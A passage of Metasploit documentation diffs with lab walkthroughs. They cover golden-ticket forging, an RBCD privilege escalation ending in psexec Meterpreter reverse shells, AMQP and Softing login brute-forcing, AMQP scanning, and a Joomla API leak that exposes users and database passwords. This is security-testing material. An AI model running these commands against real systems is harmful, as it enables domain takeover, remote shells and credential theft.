10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: krbtgt/mylab.local, username: servicea /home/msfuser/.msf4/loot/20221201210211_default_10.0.0.24_mit.kerberos.cca_667626.bin
|
||||
10.0.0.24 mit.kerberos.ccache application/octet-stream realm: MYLAB.LOCAL, serviceName: cifs/dc02.mylab.local, username: administrator /home/msfuser/.msf4/loot/20221201210211_default_10.0.0.24_mit.kerberos.cca_757041.bin
|
||||
```
|
||||
|
||||
TGS using a previously forged golden ticket:
|
||||
|
||||
```
|
||||
# Forge a golden ticket
|
||||
msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator
|
||||
|
||||
[*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
# Request a silver ticket:
|
||||
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
|
||||
[*] Running module against 10.10.11.5
|
||||
|
||||
[*] 10.10.11.5:88 - Using cached credential for krbtgt/DEV.DEMO.LOCAL@DEV.DEMO.LOCAL Administrator@DEV.DEMO.LOCAL
|
||||
[*] 10.10.11.5:88 - Getting TGS for Administrator@dev.demo.local (SPN: cifs/dc02.dev.demo.local)
|
||||
[+] 10.10.11.5:88 - Received a valid TGS-Response
|
||||
[*] 10.10.11.5:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin
|
||||
[+] 10.10.11.5:88 - Received a valid delegation TGS-Response
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
# Use psexec:
|
||||
|
||||
msf6 exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] 10.10.11.5:445 - Connecting to the server...
|
||||
[*] 10.10.11.5:445 - Authenticating to 10.10.11.5:445|dev.demo.local as user 'Administrator'...
|
||||
[*] 10.10.11.5:445 - Loaded a credential from ticket file: /Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin
|
||||
[*] 10.10.11.5:445 - Selecting PowerShell target
|
||||
[*] 10.10.11.5:445 - Executing the payload...
|
||||
[+] 10.10.11.5:445 - Service start timed out, OK if running a command or non-service executable...
|
||||
[*] Sending stage (175686 bytes) to 10.10.11.5
|
||||
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 10.10.11.5:60625) at 2023-03-09 12:08:49 +0000
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -1,17 +1,86 @@
|
||||
## Vulnerable Application
|
||||
## RBCD Exploitation
|
||||
|
||||
This module can read and write the necessary LDAP attributes to configure a particular object for Role Based Constrained
|
||||
Delegation (RBCD). When writing, the module will add an access control entry to allow the account specified in
|
||||
DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the authenticated user must have
|
||||
write access to the target object (the object specified in DELEGATE_TO).
|
||||
If an account has the ability to write to the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute against a target, i.e. having
|
||||
`GenericWrite` privileges, this can be abused for privilege escalation.
|
||||
|
||||
## Verification Steps
|
||||
The `auxiliary/admin/ldap/rbcd` module can be used to read and write the `msDS-AllowedToActOnBehalfOfOtherIdentity` LDAP attribute against a target
|
||||
for Role Based Constrained Delegation (RBCD). When writing, the module will add an access control entry (ACE) to allow the account specified in
|
||||
`DELEGATE_FROM` to the object specified in `DELEGATE_TO`. For privilege escalation - the `auxiliary/admin/kerberos/get_ticket` module can then
|
||||
be used to request a new Kerberos S4U impersonation ticket for the Administrator account.
|
||||
|
||||
In order for the `auxiliary/admin/ldap/rbcd` module to succeed, the authenticated user must have write access to the target object (the object specified in `DELEGATE_TO`).
|
||||
|
||||
## Lab setup
|
||||
|
||||
For the RBCD attack to work an Active Directory account (i.e. `sandy`) is required with write privileges to the target computer (i.e. `WS01`).
|
||||
|
||||
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment:
|
||||
|
||||
```powershell
|
||||
# Create a basic user account
|
||||
net user /add sandy Password1!
|
||||
|
||||
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
|
||||
net user sandy /expires:never
|
||||
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
|
||||
```
|
||||
|
||||
Grant Write privileges for sandy to the target machine, i.e. `WS01`:
|
||||
|
||||
```powershell
|
||||
# Remember to change WS01 to the name of your target Computer (i.e. the output of the hostname command)
|
||||
$TargetComputer = Get-ADComputer 'WS01'
|
||||
$User = Get-ADUser 'sandy'
|
||||
|
||||
# Add GenericWrite access to the user against the target coputer
|
||||
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
|
||||
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
|
||||
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
|
||||
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
|
||||
$TargetComputerAcl = Get-Acl "AD:$($TargetComputer.DistinguishedName)"
|
||||
$TargetComputerAcl.AddAccessRule($GenericWriteAce)
|
||||
Set-Acl -AclObject $TargetComputerAcl -Path "AD:$($TargetComputer.DistinguishedName)"
|
||||
```
|
||||
|
||||
Finally Verify the Write privileges for the sandy account:
|
||||
|
||||
```powershell
|
||||
PS C:\Users\administrator> $TargetComputer = Get-ADComputer 'WS01'
|
||||
PS C:\Users\administrator> (Get-ACL "AD:$($TargetComputer.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
|
||||
|
||||
ActiveDirectoryRights : GenericWrite
|
||||
InheritanceType : All
|
||||
ObjectType : 00000000-0000-0000-0000-000000000000
|
||||
InheritedObjectType : 00000000-0000-0000-0000-000000000000
|
||||
ObjectFlags : None
|
||||
AccessControlType : Allow
|
||||
IdentityReference : MSFLAB\sandy
|
||||
IsInherited : False
|
||||
InheritanceFlags : ContainerInherit
|
||||
PropagationFlags : None
|
||||
```
|
||||
|
||||
## Module usage
|
||||
|
||||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `COMPUTER_NAME` or `COMPUTER_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_COMPUTER` action, set the `COMPUTER_NAME` option
|
||||
c. For the `LOOKUP_COMPUTER` action, set the `COMPUTER_NAME` option
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
Then the `auxiliary/admin/ldap/rbcd` can be used:
|
||||
|
||||
1. Set the `RHOST` value to a target domain controller
|
||||
2. Set the `BIND_DN` and `BIND_PW` information to an account with the necessary privileges
|
||||
2. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
|
||||
3. Set the `DELEGATE_TO` and `DELEGATE_FROM` data store options
|
||||
4. Use the `WRITE` action to configure the target for RBCD
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Actions
|
||||
|
||||
### FLUSH
|
||||
@@ -42,13 +111,16 @@ the delegation target.
|
||||
## Scenarios
|
||||
|
||||
### Window Server 2019 Domain Controller
|
||||
|
||||
In the following example the user `MSFLAB\sandy` has write access to the computer account `WS01$`. The sandy account is
|
||||
used to add a new computer account to the domain, then configures WS01$ for delegation from the new computer account.
|
||||
used to add a new computer account to the domain, then configures `WS01$` for delegation from the new computer account.
|
||||
|
||||
The new computer account can then impersonate any user, including domain administrators, on `WS01$` by authenticating
|
||||
with the Service for User (S4U) Kerberos extension.
|
||||
|
||||
```
|
||||
First create the computer account:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/samr_computer):
|
||||
@@ -86,9 +158,14 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
[+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set BIND_DN sandy@msflab.local
|
||||
```
|
||||
|
||||
Now use the RBCD module to read the the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set USERNAME sandy@msflab.local
|
||||
BIND_DN => sandy@msflab.local
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set BIND_PW Password1!
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set PASSWORD Password1!
|
||||
BIND_PW => Password1!
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
@@ -102,6 +179,11 @@ msf6 auxiliary(admin/ldap/rbcd) > read
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_computer`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$
|
||||
DELEGATE_FROM => DESKTOP-QLSTR9NW$
|
||||
msf6 auxiliary(admin/ldap/rbcd) > write
|
||||
@@ -112,6 +194,11 @@ msf6 auxiliary(admin/ldap/rbcd) > write
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Reading the value of `msDS-AllowedToActOnBehalfOfOtherIdentity` to verify the value is updated:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > read
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
@@ -123,3 +210,38 @@ msf6 auxiliary(admin/ldap/rbcd) > read
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/rbcd) >
|
||||
```
|
||||
|
||||
Next we can use the `auxiliary/admin/kerberos/get_ticket` module to request a new S4U impersonation ticket for the Administrator
|
||||
account using the previously created machine account. For instance requesting a service ticket for SMB access:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.159.10 username=DESKTOP-QLSTR9NW password=A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT domain=msflab.local spn=cifs/ws01.msflab.local impersonate=Administrator
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] 192.168.159.10:88 - Received a valid TGT-Response
|
||||
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_533930.bin
|
||||
[*] 192.168.159.10:88 - Getting TGS impersonating Administrator@msflab.local (SPN: cifs/ws01.msflab.local)
|
||||
[+] 192.168.159.10:88 - Received a valid TGS-Response
|
||||
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_962080.bin
|
||||
[+] 192.168.159.10:88 - Received a valid TGS-Response
|
||||
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The saved TGS can be used in a pass-the-ticket style attack. For instance using the `exploit/windows/smb/psexec` module for a reverse shell:
|
||||
|
||||
```msf
|
||||
msf6 exploit(windows/smb/psexec) > run lhost=192.168.123.1 rhost=192.168.159.10 username=Administrator smb::auth=kerberos smb::rhostname=ws01.msflab.local domaincontrollerrhost=192.168.159.10 smbdomain=msflab.local smb::krb5ccname=/Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||||
[*] 192.168.159.10:445 - Connecting to the server...
|
||||
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445|msflab.local as user 'Administrator'...
|
||||
[*] 192.168.159.10:445 - Loaded a credential from ticket file: /Users/user/.msf4/loot/20230222095449_default_192.168.159.10_mit.kerberos.cca_614556.bin
|
||||
[*] 192.168.159.10:445 - Selecting PowerShell target
|
||||
[*] 192.168.159.10:445 - Executing the payload...
|
||||
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
|
||||
[*] Sending stage (175686 bytes) to 192.168.159.10
|
||||
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.159.10:60755) at 2023-02-22 10:00:01 +0000
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will test AMQP logins on a range of machines and report successful logins. If you have loaded a database
|
||||
plugin and connected to a database this module will record successful logins and hosts so you can track your access.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install RabbitMQ and start it
|
||||
1. To use Docker, run: `docker run --rm -it --hostname "$(hostname)" -p 15672:15672 -p 5672:5672 rabbitmq:3-management`
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/amqp/amqp_login`
|
||||
4. Do: `set rhosts`
|
||||
5. Do: set usernames and passwords via any of the available options
|
||||
6. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### BLANK_PASSWORD
|
||||
|
||||
Boolean value on if an additional login attempt should be attempted with an empty password for every user.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Password to try for each user.
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
A file containing a password on every line. Kali linux example: `/usr/share/wordlists/metasploit/password.lst`
|
||||
|
||||
### STOP_ON_SUCCESS
|
||||
|
||||
If a valid login is found on a host, immediately stop attempting additional logins on that host.
|
||||
|
||||
### USERNAME
|
||||
|
||||
Username to try for each password.
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
A file containing a username and password, separated by a space, on every line. An example line would be `username
|
||||
password`.
|
||||
|
||||
### USER_AS_PASS
|
||||
|
||||
Boolean value on if an additional login attempt should be attempted with the password as the username.
|
||||
|
||||
### USER_FILE
|
||||
|
||||
A file containing a username on every line.
|
||||
|
||||
### VERBOSE
|
||||
|
||||
Show a failed login attempt. This can get rather verbose when large `USER_FILE`s or `PASS_FILE`s are used. A failed
|
||||
attempt will look similar to the following:
|
||||
|
||||
```
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:Password1! (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
```
|
||||
|
||||
## Option Combinations
|
||||
|
||||
It is important to note that usernames and passwords can be entered in multiple combinations. For instance, a password
|
||||
could be set in `PASSWORD`, be part of either `PASS_FILE` or `USERPASS_FILE`, be guessed via `USER_AS_PASS` or
|
||||
`BLANK_PASSWORDS`. This module makes a combination of all of the above when attempting logins. So if a password is set
|
||||
in `PASSWORD`, and a `PASS_FILE` is listed, passwords will be generated from BOTH of these.
|
||||
|
||||
## Scenarios
|
||||
### RabbitMQ 3.11.10 on Docker
|
||||
|
||||
The Docker container listens on 5672/tcp without SSL. There's also an administrative site running on 15672/tcp where
|
||||
users can be added. The default credentials to login are `guest` / `guest`. A new `admin` account was added for this
|
||||
example.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/amqp/amqp_login
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set PASS_FILE data/wordlists/unix_passwords.txt
|
||||
PASS_FILE => data/wordlists/unix_passwords.txt
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set RPORT 5672
|
||||
RPORT => 5672
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set SSL false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => false
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > run
|
||||
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:Password1! (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:admin (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:123456 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:12345 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:123456789 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[+] 192.168.159.128:5672 - Login Successful: admin:password
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) >
|
||||
```
|
||||
@@ -0,0 +1,55 @@
|
||||
## Description
|
||||
|
||||
This module displays the version information about Advanced Message Queuing Protocol (AMQP) 0-9-1 servers. Per the
|
||||
specification, the "server-properties":
|
||||
|
||||
> ... SHOULD contain at least these fields: "host", specifying the server host name or address, "product", giving the
|
||||
> name of the server product, "version", giving the name of the server version, "platform", giving the name of the
|
||||
> operating system, "copyright", if appropriate, and "information", giving other general information.
|
||||
|
||||
*See: https://www.rabbitmq.com/amqp-0-9-1-reference.html#connection.start.server-properties*
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/amqp/amqp_version`
|
||||
2. Do: `set RHOSTS [IP]`
|
||||
3. Do: `set RPORT [PORT]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Running the scanner**
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/amqp/amqp_version
|
||||
msf6 auxiliary(scanner/amqp/amqp_version) > set RHOSTS 192.168.159.0/24
|
||||
RHOSTS => 192.168.159.0/24
|
||||
msf6 auxiliary(scanner/amqp/amqp_version) > run
|
||||
|
||||
[*] 192.168.159.17:5671 - AMQP Detected (version:RabbitMQ 3.8.16) (cluster:rabbit@WIN-KHPRSGSRF30) (platform:Erlang/OTP 23.3) (authentication:AMQPLAIN, PLAIN)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 51 of 256 hosts (19% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 53 of 256 hosts (20% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 98 of 256 hosts (38% complete)
|
||||
[*] 192.168.159.128:5671 - AMQP Detected (version:RabbitMQ 3.11.10) (cluster:rabbit@my-rabbit) (platform:Erlang/OTP 25.3) (authentication:PLAIN, AMQPLAIN)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 104 of 256 hosts (40% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 150 of 256 hosts (58% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 154 of 256 hosts (60% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 199 of 256 hosts (77% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 216 of 256 hosts (84% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 233 of 256 hosts (91% complete)
|
||||
[*] 192.168.159.0/24:5671 - Scanned 256 of 256 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/amqp/amqp_version) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
192.168.159.17 5671 tcp amqps open AMQP Detected (version:RabbitMQ 3.8.16) (cluster:rabbit@WIN-KHPRSGSRF30) (platform:Erlang/OTP 23.3) (authentication:AMQPLAIN, PL
|
||||
AIN)
|
||||
192.168.159.128 5671 tcp amqps open AMQP Detected (version:RabbitMQ 3.11.10) (cluster:rabbit@my-rabbit) (platform:Erlang/OTP 25.3) (authentication:PLAIN, AMQPLAIN)
|
||||
|
||||
msf6 auxiliary(scanner/amqp/amqp_version)
|
||||
```
|
||||
|
||||
[1]: https://www.rabbitmq.com/amqp-0-9-1-reference.html#connection.start.server-properties
|
||||
@@ -0,0 +1,77 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability.
|
||||
This vulnerability allows unauthenticated users access to webservice endpoints which contain
|
||||
sensitive information. Specifically for this module we exploit the users and config/application
|
||||
endpoints.
|
||||
|
||||
This module was tested against Joomla 4.2.7 running on Docker.
|
||||
|
||||
## Install Joomla on Ubuntu 22.04
|
||||
|
||||
From https://www.techrepublic.com/article/how-to-deploy-joomla-docker/
|
||||
```
|
||||
sudo apt-get install docker.io -y
|
||||
sudo docker network create joomla-network
|
||||
sudo docker pull mysql:5.7
|
||||
sudo docker pull joomla:4.2.7-php8.1-apache
|
||||
sudo docker volume create mysql-data
|
||||
sudo docker run -d --name joomladb -v mysql-data:/var/lib/mysql --network joomla-network -e "MYSQL_ROOT_PASSWORD=PWORD" -e MYSQL_USER=joomla -e "MYSQL_PASSWORD=PWORD" -e "MYSQL_DATABASE=joomla" mysql:5.7
|
||||
sudo docker volume create joomla-data
|
||||
sudo docker run -d --name joomla -p 80:80 -v joomla-data:/var/www/html --network joomla-network -e JOOMLA_DB_HOST=joomladb -e JOOMLA_DB_USER=joomla -e JOOMLA_DB_PASSWORD=PWORD joomla
|
||||
```
|
||||
|
||||
Browse to port 80, and finish the installation
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application, and finish the configuration
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/joomla_api_improper_access_checks`
|
||||
4. Do: `set rhosts [ip]`
|
||||
5. Do: `run`
|
||||
6. You should get sensitive information about the users and configuration
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version 4.2.7 from Docker
|
||||
|
||||
```
|
||||
└─$ ./msfconsole -qr joomla_improper.rb
|
||||
[*] Processing joomla_improper.rb for ERB directives.
|
||||
resource (joomla_improper.rb)> use auxiliary/scanner/http/joomla_api_improper_access_checks
|
||||
resource (joomla_improper.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (joomla_improper.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (joomla_improper.rb)> run
|
||||
[*] Joomla version detected: 4.2.7
|
||||
[+] Joomla version 4.2.7 is vulnerable
|
||||
[*] Attempting user enumeration
|
||||
[+] Users JSON saved to /root/.msf4/loot/20230416225106_default_1.1.1.1_joomla_users_jso_345565.json
|
||||
[+] Joomla Users
|
||||
============
|
||||
|
||||
ID Super User Name Username Email Send Email Register Date Last Visit Date Group Names
|
||||
-- ---------- ---- -------- ----- ---------- ------------- --------------- -----------
|
||||
400 * joomla joomla none@none.com 1 2023-04-16 23:07:42 Super Users
|
||||
|
||||
[*] Attempting config enumeration
|
||||
[+] Config JSON saved to /root/.msf4/loot/20230416225106_default_1.1.1.1_joomla_config_js_812393.json
|
||||
[+] Joomla Config
|
||||
=============
|
||||
|
||||
Setting Value
|
||||
------- -----
|
||||
db host joomladb3
|
||||
db name joomla_db
|
||||
db password PWORD
|
||||
db prefix l57cr_
|
||||
db prefix 0
|
||||
db user root
|
||||
dbtype mysqli
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,182 @@
|
||||
## Description
|
||||
|
||||
This module allows you to authenticate to Softing Secure Integration Server.
|
||||
|
||||
By default:
|
||||
* Credentials are `admin:admin`.
|
||||
* HTTP is TCP/8099 and HTTPS is TCP/443. Either one can be used, but the module defaults to TCP/8099.
|
||||
|
||||
There does not seem to be a limit to the number of times login attempts can be made.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module was tested against version 1.22, installed on Windows Server 2019 Standard x64.
|
||||
|
||||
*1.22 Download*
|
||||
|
||||
https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use auxiliary/scanner/http/softing_sis_login`
|
||||
3. Do: `set RHOSTS <target_ip>` OR `set RHOSTS file:/path/to/targets/file` if against several targets
|
||||
4. Do: Optional: `set SSL true` if necessary
|
||||
5. Do: Optional: `set RPORT 443` if SSL is set
|
||||
6. Do: `set USERNAME <username>` if necessary. Default is `admin`
|
||||
7. Do: `set PASSWORD <password>` if necessary. Default is `admin`
|
||||
8. Do: `run`
|
||||
|
||||
If running against several usernames: `set USER_FILE /path/to/usernames_file`
|
||||
If using a wordlist (e.g. common passwords): `set PASS_FILE /path/to/passwords_file`
|
||||
|
||||
`USER_FILE` and `PASS_FILE` take priority over `USERNAME` and `PASSWORD`.
|
||||
|
||||
A `username:password` pair of credentials can be provided by doing `set USERPASS_FILE /path/to/userpass_file`.
|
||||
|
||||
## Scenarios
|
||||
### Default
|
||||
|
||||
In this scenario, the default options were used.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/softing_sis_login
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119
|
||||
RHOSTS => 192.168.50.119
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > run
|
||||
|
||||
[+] 192.168.50.119:8099 - Success: 'admin:admin'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
`creds` output:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
|
||||
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
### Different admin password, SSL in use
|
||||
|
||||
In this scenario, the default password for the `admin` user has been changed, and SSL was used.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/softing_sis_login
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119
|
||||
RHOSTS => 192.168.50.119
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set PASSWORD admin123
|
||||
PASSWORD => admin123
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set SSL true
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => true
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > set RPORT 443
|
||||
RPORT => 443
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > run
|
||||
|
||||
[+] 192.168.50.119:443 - Success: 'admin:admin123'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
`creds` output:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
|
||||
192.168.50.119 192.168.50.119 443/tcp (https) admin admin123 Password
|
||||
|
||||
msf6 auxiliary(scanner/http/softing_sis_login) >
|
||||
```
|
||||
|
||||
### Several targets, using different usernames and passwords
|
||||
|
||||
In this scenario, we have several targets that have different usernames and passwords for each.
|
||||
All the targets have the Softing Secure Integration Server login page enabled at TCP/8099.
|
||||
|
||||
Contents of `usernames.txt`:
|
||||
```
|
||||
admin
|
||||
admin1
|
||||
user
|
||||
lowpriv
|
||||
guest
|
||||
```
|
||||
|
||||
Contents of `passwords.txt`:
|
||||
```
|
||||
admin
|
||||
admin123
|
||||
BadPass
|
||||
GoodPass?
|
||||
P@ssw0rd
|
||||
user
|
||||
pass
|
||||
password
|
||||
lowpriv
|
||||
```
|
||||
|
||||
Contents of `targets.txt`:
|
||||
